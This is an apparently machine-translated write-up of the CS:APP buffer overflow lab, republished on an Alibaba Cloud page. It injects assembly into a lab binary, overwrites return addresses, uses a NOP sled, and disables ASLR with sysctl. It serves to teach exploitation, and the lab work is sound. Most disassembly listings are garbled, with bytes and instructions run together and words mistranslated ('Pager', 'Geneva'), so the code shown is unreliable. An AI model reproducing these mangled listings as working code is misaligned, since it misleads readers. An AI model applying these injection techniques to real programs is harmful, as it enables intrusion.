Csapp Lab:buffer Overflow

Source: Internet
Author: User

This is a famous experiment on the Csapp website, which implements stack overflow attacks by injecting assembly code.
Lab material available to my GitHub warehouse https://github.com/Cheukyin/CSAPP-LAB/select Buffer-overflow Branch Download

Linux by default on ASLR, each loader, variable address will be different, so to turn off ASLR: sysctl-w kernel.randomize_va_space=0 (Assigned to 2, you can open ASLR) However, the program of this experiment seems to have been specially processed, do not need to close the program of the ASLR normal compilation stack is non-executable, but add a compilation option to open the experiment program should open the executable option Level0: Modify the return address of getbuf (), let the program execute smoke open GDB, set breakpoints to Getbuf, R-u Cheukyin
180491f4: -                       Push%EBP280491f5: theE5mov%ESP,%EBP380491f7: theEc -                 Sub$0x38,%esp480491FA: 8d $D8Lea-0x28 (%EBP),%eax580491FD: the Geneva  -                 mov%eax, (%ESP)6      8049200: E8 f5 FA ff ffPager8048CFA<Gets>7      8049205: B8 on xx xx xx           mov$0x1,%eax8804920a: C9Leave  9804920b: C3ret    

     The above code indicates that the address of BUF is ebp-0x28, the address is stored in EAX     print $ebp +4  ==>  0x55683884     print eax     ==>  The 0x55683858 is     44 bytes apart, so you need to enter 44 ordinary characters at the address of the input smoke     print smoke   ==>  0x8048c18     Hex results are saved in Level0-smoke-hex.txt     ./hex2raw < level0-smoke-hex.txt|. /bufbomb_32-u Cheukyin can pass
Level1: Similar to the above, execute fizz (), but Fizz has a parameter that needs to be stacked, this parameter needs to be equal to the cookie so in addition to modifying the GETBUF return address, you need to enter four bytes as fizz return address, and then enter a 4-byte cookie . Makecookie Cheukyin can obtain a fizz return address by obtaining a cookie disassembly ./hex2raw<level1-fizz-hex.txt |./bufbomb_32-u cheukyin Customs Clearance
Level2: Modify the value of the global variable Global_value, and enter the Bang function to modify the Global_value, you need to inject a modified code on the stack, after executing get_buf jump to the code, After the code executes, jump to bang level2-firecracker-assembly. S is the injected code:
1#PushThe address of bang onto stack2 PUSHL $0x08048c9d3 4#inchgdb, print &global_value ==> 0x804d1005#movCheukyin Cookie to Global_value6     mov$0x3955ae84,%eax7     mov%eax, 0x804d1008 9 # Jump to <bang>Ten     ret

    First put the Bang address stack, and then modify the Global_value value of Cheukin cookie, the last ret jump to bang    gcc-m32-c level2-firecracker-assembly. s generate target file     objdump-d level2-firecracker-assembly.o > Level2-firecracker-assembly.d disassembly    LEVEL2-FIRECRACKER-ASSEMBLY.D:
1     0: the9d 8cGeneva  ,           Push$0x8048c9d2     5: B8 -Ae -  the           mov$0x3955ae84,%eax3     A:A3xxD1Geneva  ,           mov%eax,0x804d1004     F:C3ret    

        Gdb:print $ebp +8  ==>  0x55683888    fill the machine code to the address above, and then change the Get_buf return address to the above address to    ./hex2raw< Level2-bang-hex.txt |./bufbomb_32-u cheukyin Level3: enables    Getbuf to return a cookie to test, so the test stack frame cannot be destroyed.    so you can only write the injected code at the beginning of the input string, which is the BUF address in    addition, the correct EBP must be restored when the test is returned, so the input string should be written to EBP before the return address:    in getbuf, x/wx $ebp = = > 0x55683880    return address should be BUF address: print $ebp -0x28 ==> 0x55683858    Injection code needs to move the cookie into the EAX and return the correct address:
1#inch Getbuf:X/WX $EBP +4==> 0x08048dbe2#PushGet_buf's return address3 PUSHL $0x08048dbe4 5 #return Cheukyin's Cookie toTest6 movl $0x3955ae84,%eax7 8#return to <Test>9     ret

    Gcc-m32-c level3-dynamite-assembly.s    objdump-d level3-dynamite-assembly.o > Level3-dynamite-assembly.d    Fill in the generated machine code into the BUF    ./hex2raw<level3-dynamite-hex.txt |./bufbomb_32-u cheukyin Customs Clearance LEVEL4:    The last-pass requirement is consistent with the previous one, but with the-n parameter running Bufbomb, the    testn and GETBUFN functions are entered instead of the test and GETBUF functions.    Unlike before, there is an indefinite number of environment variables for simulating the real environment above the stack frame, and    the EBP value when entering GETBUFN is not a fixed value, and the    read string buffer size is changed from 32 to 512. And it calls the TESTN function five times, which    means you need to enter five strings and pass them all.    since the EBP value of TESTN () is not fixed, you first need to determine how to recover the value.    It is important to note the fact that the ESP and EBP distances are fixed.    assembly Code by TESTN:
1     28048e26: -                       Push%EBP38048e27: theE5mov%ESP,%EBP48048e29: -                       Push%EBX58048E2A: theEc -                 Sub$0x24,%esp68048e2d: E8 5e FF FF FFPager8048d90<uniqueval>78048e32: the  $F4mov%eax,-0xc (%EBP)88048e35: E8 D2Geneva xx xx           Pager804920c<getbufn>98048E3A: theC3mov%eax,%ebx

    GETBUFN normal return should return to 8048E3A, at this time ebp=esp+0x28    so injected code should increase the use of ESP recovery EBP statement    as follows:
1#testn's EBP is fixed2 #read <testn>'S assembly code andCalculate3     Lea0x28 (%ESP),%EBP4 5#look intoBufbomb_32.s6#PushGetbufn's return address7 PUSHL $0x08048e3a8 9 #return Cheukyin's Cookie toTestTen movl $0x3955ae84,%eax One  A #return to <testn> -     ret

    To view its machine code:
1     2     0: 8d 6c -  -              Lea0x28 (%ESP),%EBP3     4: the3a 8eGeneva  ,           Push$0X8048E3A4     9: B8 -Ae -  the           mov$0x3955ae84,%eax5     e:C3ret   
    At this point, there is another problem, EBP is not fixed, then the string array buf address in the GETBUFN is also not fixed.    How can I modify the GETBUFN return address to execute injected code    ? Through GDB to see the address of the string buf read into the GETBUFN (i.e., eax),    for the same userid will give the same address sequence,    Visual is the UserID seed pseudo-random, five times the address given by the operation is:
1     0x556836782    0x556836983    0x556836c8 4     0x556835f8 5     0x55683668

    According to the tips of the use of NOP sleds technology, the main    idea is: When not clear the effective machine code entry address,    can be in the effective machine code with a large number of NOP machine instructions (0x90) to fill,    as long as the jump address on these NOP can reach the effective machine code.    since the machine code on the stack is executed in low-to-high order by address, it is    necessary to ensure that five runs can execute the valid machine code successfully, and    need to satisfy the following: the NOP machine instruction filling area before the valid machine code entry address of the jump address. This requires that the NOP fill area be increased as much as possible so that the    effective machine code segment is moved backwards.    so the return address chooses the highest address: 0x556836c8    by GETBUFN Assembly code    8049215:8d-F8 FD ff    -0x208 (%EBP),%eax    The BUF address and the cell that holds the return address are separated by 0x208+4 = 0x20c bytes    and the injected code has a total of 15 bytes, so there is a total need to fill 0x20c-15 NOP (0x90) at the beginning of the BUF and    then fill in the machine code and return address    . /hex2raw-n <level4-nitroglycerin-hex.txt|. /bufbomb_32-u cheukyin-n customs clearance    . The-N option for/hex2raw allows Hex2raw to repeat multiple inputs

Csapp Lab:buffer Overflow

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.